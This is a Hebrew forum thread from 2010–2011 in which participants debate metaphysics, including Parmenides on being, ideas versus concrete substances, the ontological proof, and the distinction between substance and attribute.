צר לי אך לדעתי אתה מערבב את שתי המשמעויות. אתה מדבר על המשמעות 2 ובעצם מנסח את 1.
מה שתיארת בלשונך הזהב בהודעה הקודמת הוא חומר ממשי כמו מים, אלא שאצלו זה 100% מים ולא 99% מים. זהו חומר שאין שום בעיה להבחין בו, ואין שום סיבה בעולם מדוע הוא לא נמצא. לכן גם לא ברור מדוע איננו מבחינים בו באנליזה כימית, או כאילו כימית.
לעומת זאת, בתיאור שנתת בהודעה האחרונה על אף ההצהרה שאתה מדבר על חומרים ממש, בעצם דיברת על אידיאות ולא על חומרים ממשיים. אידיאות אין להן הופעה ממשית בעולם. כמו שאי אפשר לראות סוסיות אלא רק סוסים. אבל סוס קונקרטי שהוא 100% תכונות הסוס האידיאלי בלי שום תערובת ותכונות מקריות כלל, אין שום בעייה לראות אותו, ועקרונית ייתכן שיש סוס כזה. נכון שסטטיסטית כנראה לא יהיה כזה, כי מה הסיכוי שכל התכונות המקריות שלו יתאפסו?
|
|
|
|
| נשלח ב-22/12/2010 23:26 |
|
| |
| mdabraham כתב: | | שותף,
צר לי אך לדעתי אתה מערבב את שתי המשמעויות. אתה מדבר על המשמעות 2 ובעצם מנסח את 1.
מה שתיארת בלשונך הזהב בהודעה הקודמת הוא חומר ממשי כמו מים, אלא שאצלו זה 100% מים ולא 99% מים. זהו חומר שאין שום בעיה להבחין בו, ואין שום סיבה בעולם מדוע הוא לא נמצא. לכן גם לא ברור מדוע איננו מבחינים בו באנליזה כימית, או כאילו כימית.
לעומת זאת, בתיאור שנתת בהודעה האחרונה על אף ההצהרה שאתה מדבר על חומרים ממש, בעצם דיברת על אידיאות ולא על חומרים ממשיים. אידיאות אין להן הופעה ממשית בעולם. כמו שאי אפשר לראות סוסיות אלא רק סוסים. אבל סוס קונקרטי שהוא 100% תכונות הסוס האידיאלי בלי שום תערובת ותכונות מקריות כלל, אין שום בעייה לראות אותו, ועקרונית ייתכן שיש סוס כזה. נכון שסטטיסטית כנראה לא יהיה כזה, כי מה הסיכוי שכל התכונות המקריות שלו יתאפסו?
|
|
סוסיות אידיאלית היא מושג מופשט עליון מהסוסים שמסתובבים למטה.
סוסיות ניתנת למימוש רק בסוסים ואין לפרות ושוורים שום חלק בה.
אני לא מדבר על סוסיות (או מיימיות או עפרוריות וכו').
יסוד המים נמוך מהמים הגשמיים, כי במים הגשמיים מונחת גם "הרכבה" שהיא כבר גילוי עליון יותר (של תוכנית ומטרה).
יסוד המים משתלב בכל הרכבה נדרשת ורק ביסודות אחרים אינו נמצא כלל.
אני מדבר על יסוד המים ולא על המיימיות.
בשפת הקבלה המיימיות היא המים שבעולם עליון לעומת המים שבעולם תחתון, ואילו יסוד המים הוא חלק מבחינת הנפש של העולם התחתון לעומת המים הגשמיים שהם חלק מבחינת הרוח של העולם התחתון (ונפש נמוכה מרוח כמובן).
|
|
|
|
|
| נשלח ב-23/12/2010 00:43 |
|
| |
לכל השותפים למינהם, ברשותכם הייתי רוצה לנסות להחזיר את הדיון לנושא המקורי שלו...
מיימוני,
אני לא בטוח שהבנתי אותך,
מצד אחד בפתח האשכול השאלה שהעלית היא:
"האם ניתן לנו לשוחח, לחשוב ולדון על רעיונות ומשפטים נוגדי מציאות גם אם הם לא קיימים כלל."
שזה שאלה שקושרה ישירות לטענה של פרמנידס, ולפי מה שאני יודע- לשאלת ההצבעה.
מצד שני בתגובות על ההוכחה האונטולוגית השאלה שהבאת היא:
"אני קורא לחסרון הזה "להסתמך על המחשבה כחושפת מידע" ".
וכאן השאלה היא לגבי ההנחה שיש קשר מחייב בין המחשבה לבין המציאות ולכל היחס בין האפיסטמולוגיה לאונטולוגיה.
האם יש קשר ישיר בין שתי השאלות האלה או שסתם שניהם עלו באותו האשכול?
בכל מקרה לא הבנתי למה ההוכחה האונטולוגית כל כך קשורה לכאן יותר מכל טענה אחרת שנטענה על המציאות, ושהגיעה כתוצאה מהיסק לוגי שהוא?
תוקן על ידי קוצו_של_י ב- 23/12/2010 00:46:54
תוקן על ידי קוצו_של_י ב- 23/12/2010 00:48:49
|
|
|
|
| נשלח ב-23/12/2010 12:25 |
|
| |
| דון_קיחוט כתב: | | | "יש זה מה שישנו" - זו הגדרה מעגלית |
|
כל מושג בסיסי יכול להיות מוגדר רק באצעות הגדרה מעגלית.
לא אתנגד להעמיד את מושג הקיום על מושגים קודמים, אך רק אם הם לא יסתרו את השכל הישר או אם תהיה סיבה טובה לא לקבל את הנחות השכל הישר.
|
|
|
|
| נשלח ב-23/12/2010 12:51 |
|
| |
למטפחתספרים
ברור שיש מושגים ראשוניים שניתן להגדיר אותם בצורה טובה רק על ידי הדגמה .
למשל אם נגדיר את היש כדבר שנמצא,שקיים אז נישאל מה זה קיים? מה זה נמצא? ואז נאמר קיים זה מה שיש.-אז איזה התקדמות בהבנה של המושג היתה בנסיונות האלה?
ולכן כאן השאלה שלי איננה לגבי ההגדרה אלא השאלה היא מהו החידוש שבהגדרה של פארמינדס (שהרי אני מניחה שאם פארמינדס היה סתם קשקשן פילוסופי צעיר כפי שהציע דון קיחוט הרי מן הסתם לא היו מחשיבים אותו כפילוסוף גדול או אפילו קטן)
תוקן על ידי צענערענע ב- 23/12/2010 12:53:00
|
|
|
|
| נשלח ב-27/2/2011 15:49 |
|
| |
וואו!
איזה אשכול נהדר!.
במקרה גמור נתקלתי בו -- והוא מוטל כאבן אשר אין לה הופכין.
למה הוא גווע אחרי יומיים בלבד? -- הרי זה אחד האשכולות המעניינים והמקוריים שנפתחו פה מזמן.
ומה זה אומר על הפורום ומשתתפיו?
לי עצמי יש שתי הצדקות: (1) הימים הללו, בהם האשכול "צף", היו בדיוק הימים בהם עשיתי מילואים; (2) עקב נסיבות אישיות, אני בכלל ממעט לבקר פה בזמן האחרון.
אבל מה עם אלו שכל הזמן נמצאים פה?
אני בע"ה עוד אגיב פה באשכול ככל שיתאפשר לי. בינתיים אני רק מקפיץ אותו.
אבל עוד לפני שאני אומר פה משהו לגוף העניין, אני חייב לאחל לך, מיימוני, יישר כוח גדול! הודעות הפתיחה שלך הן סקירה מפוארת של נושא חשוב --- לא סקירה שאני יכול הייתי לעשות בנקל אילו היו מבקשים זאת ממני.
|
|
|
|
| נשלח ב-27/2/2011 17:07 |
|
| |
אוקיי, הערה מקדימה וראשונית לסדרת ההודעות הפותחות את האשכול:
| מיימוני כתב: | |
יש עצמים, כלומר ישים בעלי מהות. ויש תכונות. שולחן הוא עצם. הצבע החום שלו הוא תכונה. שימו לב: היום כמדומה כולנו מבינים שזו אמירה גרידא, והעולם הממשי נראה אחרת לגמרי. אנו רק משליכים את הסדר שלנו על המציאות.
...
היום, כוונתי בעשרות השנים האחרונות, התשובה הברורה היא כמדומה שבעולם הפיזיקלי אין "עצמים" ואין "אידיאות" אלא יש תוהו ובוהו (שנענה לחוקי הפיזיקה) שבו ניתן להפריד בכוח המחשבה ולהתמקד באוספי תכונות ולכנותן "עצם".
|
|
פעם סיפר לי מישהו [שהיה מפקח על בתי ספר יסודיים כפריים במולדובה מטעם משרד החינוך] שהוא הגיע לבית ספר כפרי אחד בו המורה לימדה את הילדים לחבר שברים באופן הבא: לחבר את המונה עם המונה ואת המכנה עם המכנה.
נגיד, הם היו צריכים לפתור את התרגיל:
3/4 + 6/9
אז מה שהמורה אמרה להם לעשות זה לחבר 6+3 ו-9+4 ולקבל 9/13. ובא שלום על ישראל.
המפקח, כשראה זאת, קרא את המורה לשיחה אחרי השיעור והסביר לה שלא כך מחברים שברים אלא צריך למצוא מכנה משותף, לצמצם וכו' וכו'
אז למחרת היום, המורה באה לכיתה והודיעה:
"תלמידים יקרים, הגיעו הוראות חדשות ממשרד החינוך: מעתה מחברים שברים באופן הבא: ... "
הרבה פעמים בדיונים פילוסופיים יוצא לי לשמוע משפטים בסגנון "מאז קאנט כולם יודעים ש....", "אחרי יום, אי אפשר יותר לדבר על..." וכהנה וכהנה.
כל פעם שאני שומע דיבורים כלאה, אני נזכר בסיפור של אותו מפקח: יעני -- הגיעו הוראות חדשות מקאנט או יום, או מי שלא יהיה...
יש סיבה היסטורית לסגנון הדיבור הזה -- ספציפית: השפעתו של הגל, לטוב ולרע, שלא ארחיב עליה כאן [מי שרוצה תקציר, שיקרא את הפרק המוקדש להגל מתוך "החברה הפתוחה ואויביה" של פופר - פרק 11]
אבל, כפי שאומרים במקרים כאלה: השמועות על מותי היו מוגזמות במידת מה....
אני לא שמעתי שבוטלה ההבחנה בין עצם לתואר.
זו הבחנה בסיסית הן בלוגיקה, הן באונטולוגיה פורמאלית, הן במטאפיזיקה, הן באפיסטמולוגיה --- ובכל התחומים הללו ההבחנה היא מודעת. בכל שאר התחומים -- הן במדע והן בדיבור היומיומי -- הבחנה זו קיימת גם כן, אבל מתייחסים אליה כמובנת מאיליה ולא שמים אליה לב.
אני לא יודע לגבי תורות פיזיקאליות איזוטריות דוגמת תורת המיתרים [שגם אינני יודע עד כמה היא בקונצנזוס היום בקרב הפיזיקאים כתורה מדעית רצינית], אבל בפיזיקה הרגילה -- בה מדברים על חלקיקים וגופים וכוחות ומערכות וכו', בהחלט מבחינים בין גוף/חלקיק/.. לתנועתו/תאוצתו/מרחקו מגוף אחר/מיקומו/.. בזמן נתון, ובין מערכת לקונפיגוראציה בזמן נתון, וכן הלאה.
כך שאינני יודע מי זה "כולם" ובמה "היום" שונה מפעם..
תוקן על ידי רדףהשיג ב- 27/02/2011 17:10:32
|
|
|
|
|
